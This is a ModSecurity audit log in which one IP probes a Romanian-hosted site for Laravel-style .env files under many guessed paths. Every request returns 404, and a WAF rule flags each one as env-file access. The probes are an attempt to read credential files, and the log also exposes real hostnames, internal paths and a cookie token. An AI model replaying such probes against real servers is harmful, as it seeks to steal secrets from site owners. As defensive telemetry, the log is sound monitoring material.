Engine-Mode: "ENABLED"

--a2ada64b-Z--

--0807044c-A--
[13/Sep/2026:05:34:37.433935 +0300] aqYLvWM7dE9KgIIOpQhdqQAAANA 34.175.231.24 42184 127.0.0.1 7081
--0807044c-B--
GET /zend/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--0807044c-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0807044c-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/zend/.env"] [unique_id "aqYLvWM7dE9KgIIOpQhdqQAAANA"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266877310750 123249 (- - -)
Stopwatch2: 1789266877310750 123249; combined=4424, p1=232, p2=4121, p3=0, p4=0, p5=71, sr=95, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0807044c-Z--

--2356e365-A--
[13/Sep/2026:05:34:38.560558 +0300] aqYLvkwu1RSkptiiNIXtmwAAAIc 34.175.231.24 42190 127.0.0.1 7081
--2356e365-B--
GET /yii/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--2356e365-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2356e365-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/yii/.env"] [unique_id "aqYLvkwu1RSkptiiNIXtmwAAAIc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266878445899 114773 (- - -)
Stopwatch2: 1789266878445899 114773; combined=4186, p1=211, p2=3922, p3=0, p4=0, p5=52, sr=88, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2356e365-Z--

--54f9b41d-A--
[13/Sep/2026:05:34:39.785440 +0300] aqYLvzTJ6xTvcJoem7f1gwAAAEc 34.175.231.24 42206 127.0.0.1 7081
--54f9b41d-B--
GET /laravel5/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--54f9b41d-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--54f9b41d-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/laravel5/.env"] [unique_id "aqYLvzTJ6xTvcJoem7f1gwAAAEc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266879662008 123507 (- - -)
Stopwatch2: 1789266879662008 123507; combined=4347, p1=304, p2=3984, p3=0, p4=0, p5=59, sr=120, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--54f9b41d-Z--

--a8480261-A--
[13/Sep/2026:05:34:40.910549 +0300] aqYLwGM7dE9KgIIOpQhdqgAAAM8 34.175.231.24 42236 127.0.0.1 7081
--a8480261-B--
GET /v1/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--a8480261-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a8480261-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/v1/.env"] [unique_id "aqYLwGM7dE9KgIIOpQhdqgAAAM8"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266880793392 117258 (- - -)
Stopwatch2: 1789266880793392 117258; combined=6048, p1=358, p2=5606, p3=0, p4=0, p5=83, sr=168, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a8480261-Z--

--18b76b25-A--
[13/Sep/2026:05:34:42.101307 +0300] aqYLwUwu1RSkptiiNIXtnAAAAII 34.175.231.24 42244 127.0.0.1 7081
--18b76b25-B--
GET /v2/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--18b76b25-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--18b76b25-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/v2/.env"] [unique_id "aqYLwUwu1RSkptiiNIXtnAAAAII"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266881942365 158996 (- - -)
Stopwatch2: 1789266881942365 158996; combined=4167, p1=289, p2=3824, p3=0, p4=0, p5=54, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--18b76b25-Z--

--73e3ee37-A--
[13/Sep/2026:05:34:43.415198 +0300] aqYLw0wu1RSkptiiNIXtnQAAAIo 34.175.231.24 42250 127.0.0.1 7081
--73e3ee37-B--
GET /v3/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--73e3ee37-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--73e3ee37-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/v3/.env"] [unique_id "aqYLw0wu1RSkptiiNIXtnQAAAIo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266883305843 109420 (- - -)
Stopwatch2: 1789266883305843 109420; combined=4098, p1=254, p2=3785, p3=0, p4=0, p5=59, sr=98, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--73e3ee37-Z--

--8f37d26a-A--
[13/Sep/2026:05:34:44.617099 +0300] aqYLxGM7dE9KgIIOpQhdrAAAANM 34.175.231.24 42276 127.0.0.1 7081
--8f37d26a-B--
GET /api/v1/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--8f37d26a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--8f37d26a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/api/v1/.env"] [unique_id "aqYLxGM7dE9KgIIOpQhdrAAAANM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266884455233 161929 (- - -)
Stopwatch2: 1789266884455233 161929; combined=7688, p1=533, p2=7097, p3=0, p4=0, p5=57, sr=160, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--8f37d26a-Z--

--0a7ece75-A--
[13/Sep/2026:05:34:45.780668 +0300] aqYLxWM7dE9KgIIOpQhdrQAAAMI 34.175.231.24 59090 127.0.0.1 7081
--0a7ece75-B--
GET /api/v2/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--0a7ece75-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--0a7ece75-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/api/v2/.env"] [unique_id "aqYLxWM7dE9KgIIOpQhdrQAAAMI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266885661961 118772 (- - -)
Stopwatch2: 1789266885661961 118772; combined=4337, p1=255, p2=4002, p3=0, p4=0, p5=80, sr=109, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--0a7ece75-Z--

--936db057-A--
[13/Sep/2026:05:34:47.373886 +0300] aqYLx2M7dE9KgIIOpQhdrgAAANY 34.175.231.24 59100 127.0.0.1 7081
--936db057-B--
GET /rest/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--936db057-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--936db057-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/rest/.env"] [unique_id "aqYLx2M7dE9KgIIOpQhdrgAAANY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266887201741 172201 (- - -)
Stopwatch2: 1789266887201741 172201; combined=6082, p1=877, p2=5137, p3=0, p4=0, p5=67, sr=139, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--936db057-Z--

--a8b05f2b-A--
[13/Sep/2026:05:34:48.523316 +0300] aqYLyEwu1RSkptiiNIXtngAAAJE 34.175.231.24 59132 127.0.0.1 7081
--a8b05f2b-B--
GET /graphql/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--a8b05f2b-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--a8b05f2b-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/graphql/.env"] [unique_id "aqYLyEwu1RSkptiiNIXtngAAAJE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266888390965 132407 (- - -)
Stopwatch2: 1789266888390965 132407; combined=4820, p1=233, p2=4528, p3=0, p4=0, p5=58, sr=89, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a8b05f2b-Z--

--ac30060f-A--
[13/Sep/2026:05:34:49.742179 +0300] aqYLyWM7dE9KgIIOpQhdsQAAAMc 34.175.231.24 59142 127.0.0.1 7081
--ac30060f-B--
GET /gateway/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--ac30060f-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--ac30060f-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/gateway/.env"] [unique_id "aqYLyWM7dE9KgIIOpQhdsQAAAMc"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266889601725 140513 (- - -)
Stopwatch2: 1789266889601725 140513; combined=3973, p1=216, p2=3691, p3=0, p4=0, p5=65, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--ac30060f-Z--

--24bd2350-A--
[13/Sep/2026:05:34:50.918812 +0300] aqYLyjTJ6xTvcJoem7f1hAAAAFI 34.175.231.24 59152 127.0.0.1 7081
--24bd2350-B--
GET /microservice/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--24bd2350-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--24bd2350-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/microservice/.env"] [unique_id "aqYLyjTJ6xTvcJoem7f1hAAAAFI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266890805275 113603 (- - -)
Stopwatch2: 1789266890805275 113603; combined=5193, p1=257, p2=4884, p3=0, p4=0, p5=52, sr=99, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--24bd2350-Z--

--3ca60241-A--
[13/Sep/2026:05:34:51.977819 +0300] aqYLy0wu1RSkptiiNIXtoAAAAIg 34.175.231.24 59162 127.0.0.1 7081
--3ca60241-B--
GET /service/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--3ca60241-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--3ca60241-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "ebcon.happy-digital.ro"] [uri "/service/.env"] [unique_id "aqYLy0wu1RSkptiiNIXtoAAAAIg"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/ebcon.happy-digital.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789266891856057 121817 (- - -)
Stopwatch2: 1789266891856057 121817; combined=4309, p1=228, p2=4028, p3=0, p4=0, p5=52, sr=91, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--3ca60241-Z--

--254c3d69-A--
[13/Sep/2026:05:34:52.991056 +0300] aqYLzGM7dE9KgIIOpQhdsgAAAMA 34.175.231.24 59168 127.0.0.1 7081
--254c3d69-B--
GET /api/v3/.env HTTP/1.1
Host: ebcon.happy-digital.ro
X-Real-IP: 34.175.231.24
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Next-Action: x
X-Nextjs-Request-Id: 1f8a4965
Cookie: csrfToken=LbMPQBoWaaqKlehecQPoajBhZGZmZmZiZDllNWNkNGMxMjg3NTkyY2E2OWExMGJmMDE2ZmVlMzg%3D

--254c3d69-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.2.33
